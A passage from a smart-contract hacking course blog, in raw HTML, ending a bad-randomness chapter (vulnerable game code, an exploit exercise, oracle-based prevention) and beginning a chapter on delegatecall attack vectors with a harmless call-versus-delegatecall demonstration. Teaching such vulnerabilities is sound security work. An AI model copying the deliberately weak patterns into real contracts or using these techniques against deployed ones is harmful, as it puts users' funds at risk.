style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">26.</span><!--[endif]--><span style="color: white;"> msg.sender.transfer(balance);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">27.</span><!--[endif]--><span style="color: white;"> } </span><span style="color: #e28964;">else</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">28.</span><!--[endif]--><span style="color: white;"> win = </span><span style="color: #e28964;">false</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">29.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">30.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">31.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">32.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span>After trying to
exploit this vulnerability yourself review the following video which walks you
through the code and how to exploit it. <span style="color: white;"><o:p></o:p></span></p><h3 style="text-align: left;">Video Walkthrough of Attacking The Game:</h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/U5XVzZCfQ1o" width="320" youtube-src-id="U5XVzZCfQ1o"></iframe></div><br /><p class="MsoNormal"><br /></p>
<p class="MsoNormal"><span style="color: white;"> </span></p>
<h2><a name="_Toc47892551">Preventing Randomness </a>Summary<o:p></o:p></h2>
<p class="MsoNormal">The best way to prevent these issues is to avoid on chain
predictable values or secret values as your seed to operations and
calculations. We can do this with
trusted external Oracles. Oracles are
external data sources that your contract can use when it needs random values or
trusted data. There are projects that
specifically solve this problem for example ChainLink which has networks of
Oracle nodes that handle data queries and provide back trusted verified data
including random numbers. A simple example
for using Chainlink for a random number is found at the following link: <o:p></o:p></p>
<p class="MsoNormal"><a href="https://docs.chain.link/docs/get-a-random-number">https://docs.chain.link/docs/get-a-random-number</a><o:p></o:p></p>
<p class="MsoNormal">It is always a good idea to avoid on chain secret data or
block related information when performing any sort of sensitive operation and
instead utilize an Oracle. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892553">Bad Randomness References</a><o:p></o:p></h2>
<p class="MsoNormal"><a href="https://docs.chain.link/docs/get-a-random-number"><span style="color: #6fa8dc;">https://docs.chain.link/docs/get-a-random-number</span></a></p>
<span face=""Calibri",sans-serif" style="font-size: 11pt; line-height: 107%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-14715"><span style="color: #6fa8dc;">https://nvd.nist.gov/vuln/detail/CVE-2018-14715</span></a></span><div><span face="Calibri, sans-serif" style="color: #6fa8dc;"><span style="font-size: 14.6667px;"><br /></span></span><div><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/bad_randomness"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/bad_randomness</span></a></div></div>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-35831982592278726662020-10-04T21:42:00.004-07:002020-10-04T21:55:29.242-07:00Smart Contract Hacking Chapter 7 - Delegate Call Attack Vectors<p> </p><h2><a name="_Toc47892533">How delegate calls work:</a></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Often while
writing smart contracts we will want to call functions within other contracts
either to leverage functionality within the other contract or for upgradability
reasons. We can do this by leveraging libraries with Delegate Calls. There are
various reasons to do this, including code re-use cost savings avoiding
re-deploying large libraries. We will take a look at this while reviewing the
technical details of the Parity Wallet hack at the end of this chapter. But first
let’s discuss some other aspects and nuances of the delegate call so we are
comfortable with how they work and how we can use them in attacks. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal">We have seen multiple ways to interact with external
contracts for example using the ABI of a contract with Web3 calls. We have also
created interfaces to a contract when creating our malicious attacking
contracts. Now we will expand on this using low level delegate calls to
external contracts.<o:p></o:p></p>
<p class="MsoNormal">In this section we will show how to interact with other
contracts using lower level functions such as, call and delegate call. We will
show how the code can leverage the functionality of another contract using
delegate calls within Solidity. Beware, that as usual whenever you use lower
level functions within solidity, bad bad things can and will happen. <o:p></o:p></p>
<p class="MsoNormal">Firstly, let’s just define some terms so that I don’t
confuse myself and I don’t confuse the readers because this can get a bit
confusing if we don’t know which contract, we are discussing. So, I am going to
label the following two terms upfront so we can distinguish which contact we
are discussing and how they are interacting. If we don’t do this, we are going
to end up confused. This particular vulnerability and how it works took me a
minute to wrap my head around. I actually had to deploy contracts and play with
code interactions before it made sense.
I hope to save you the trouble, since there were no good resources when
I started learning this. <o:p></o:p></p>
<p class="MsoNormal">We will define two contracts as the following for the
purposes of the code examples we are analyzing.<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]--><b>Calling contract</b>: The calling contract we
are interacting with through our DApp</p><p class="MsoListParagraphCxSpLast" style="text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]--><b>Logic Contract</b>: The library contract
holding some kind of business logic we call with delegate call or call</p></blockquote><p class="MsoListParagraphCxSpFirst" style="text-align: left; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="text-align: left; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">With that out of the way let’s get back to confusing myself
along with you. <o:p></o:p></p>
<p class="MsoNormal">We often see delegate calls used when we don’t have an ABI
interface and as an upgradability pattern within solidity. In order to explain delegate
call we are going to first talk about the differences between a regular call
and a delegate call and what the results are with each of these call types. <o:p></o:p></p><p class="MsoNormal"><br /></p>
<h2><a name="_Toc47892534">Delegate Call vs Call</a><o:p></o:p></h2>
<p class="MsoNormal">Delegate calls are used to call the functionality of the
logic contract but have the changes reflected in the context of the calling
contract. It essentially behaves as if you imported the functionality of the
logic contract into the calling contract and the changes are reflected in the
context of the calling contract. This behaves much like importing libraries
when you are coding large projects and using that functionality as if it were
part of your project. <o:p></o:p></p>
<p class="MsoNormal">Vs<o:p></o:p></p>
<p class="MsoNormal">The regular call acts more like a remote API where we are
making changes on the remote logic contract rather than our calling contract. When
using a regular call, we are calling the logic contract but the effects of that
are retained within the logic contract. Rather than in the context of the
calling contract. <o:p></o:p></p>
<h2><a name="_Toc47892535">Simple Delegate Call Example Code</a><o:p></o:p></h2>
<p class="MsoNormal">I know I know, I just confused you so let’s look at a simple
example and talk about the outcomes of each instance depending on if we are
using call or delegate call: <o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> address returnedAddress;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">event</span><span style="color: white;"> contractAddress(address returnedAddress );<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> returnedAddress = address(</span><span style="color: #e28964;">this</span><span style="color: white;">); <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> emit contractAddress(returnedAddress);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10. </span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12. </span><!--[endif]--><span style="color: white;">contract </span><span style="color: #89bdff;">CallingContract</span><span style="color: white;"> { <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> address returnedAddress; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> address logic_pointer = address(</span><span style="color: #e28964;">new</span><span style="color: white;"> </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;">());<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_my_delegate_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> logic_pointer.delegatecall(abi.encodeWithSignature(</span><span style="color: #65b042;">"print_address()"</span><span style="color: white;">));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">19.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_my_call_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">20.</span><!--[endif]--><span style="color: white;"> logic_pointer.call(abi.encodeWithSignature(</span><span style="color: #65b042;">"print_address()"</span><span style="color: white;">));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">21.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">22. </span><!--[endif]--><span style="color: white;">} <o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span> <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><span style="color: red;">Important Note: <o:p></o:p></span></p>
<p class="MsoNormal">The best way to start to understand delegate calls are to
actually play with them. Deploy the above contract within Remix and play around
with it for a few minutes before reading the code walkthrough. <o:p></o:p></p>
<p class="MsoNormal">Also note you can review the video walkthroughs to see this
in action. But make sure that you have the contract open in Remix and you are
following along, this is essential to your learning and retention of these concepts.<o:p></o:p></p>
<p class="MsoNormal">Note that the above code comprises of two contracts within one
Solidity file, which will deploy without any issues in Remix and provide you
with both the logic contract and the calling contract. The calling contract
will have the functionality that you will be interacting with. So just paste it into Remix, compile and
deploy it. <o:p></o:p></p>
<p class="MsoNormal">I have also supplied a bit of code that automatically grabs
the Logic contract address via a call on line 14 since they are both in the
same file. Automatically grabbing the second contracts address is useful when
you’re debugging so you don’t have to deploy the first contract and manually
add it every time you change the code and redeploy. <o:p></o:p></p>
<p class="MsoNormal">Things to try on your own before continuing:<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deploy the above code as a single Solidity file
in Remix and review the address of CallingContract. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Click the print_my_delegate button and review
the output in the logs section of the transaction. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Click the print_my_call button and review the
output in the logs section of the transaction.</p><p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->What do you think the results are showing us?</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892536">Simple Delegate Code Walkthrough</a><o:p></o:p></h2>
<p class="MsoNormal">Now that you have interacted with this code a bit within
Remix, let’s break it down piece by piece talk through some of the code, then
do a walkthrough and explain the results.
<o:p></o:p></p>
<p class="MsoNormal">First let’s take a look at our logic contract.<o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> address returnedAddress;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">event</span><span style="color: white;"> contractAddress(address returnedAddress );<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> returnedAddress = address(</span><span style="color: #e28964;">this</span><span style="color: white;">); <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> emit contractAddress(returnedAddress);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10. </span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">The logic contract is pretty simple. We create an address
variable named returnedAddress on line 3 which holds the value of the returned
address from the print_address function.
On line 7 we get the current address of the contract with the <b>this</b>
keyword. <b>This</b> is kind of like self in python which says give me the
variable value associated with the current instance of the object, in this case
the address of the current contract based on context in which it has been
called. In order to view this variable, we issue an Event on line 8 simply
printing out the current value of the contract address.<o:p></o:p></p>
<p class="MsoNormal">In order to make use of the logic contract we have the
CallingContract which is shown below: <o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract </span><span style="color: #89bdff;">CallingContract</span><span style="color: white;"> { <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> 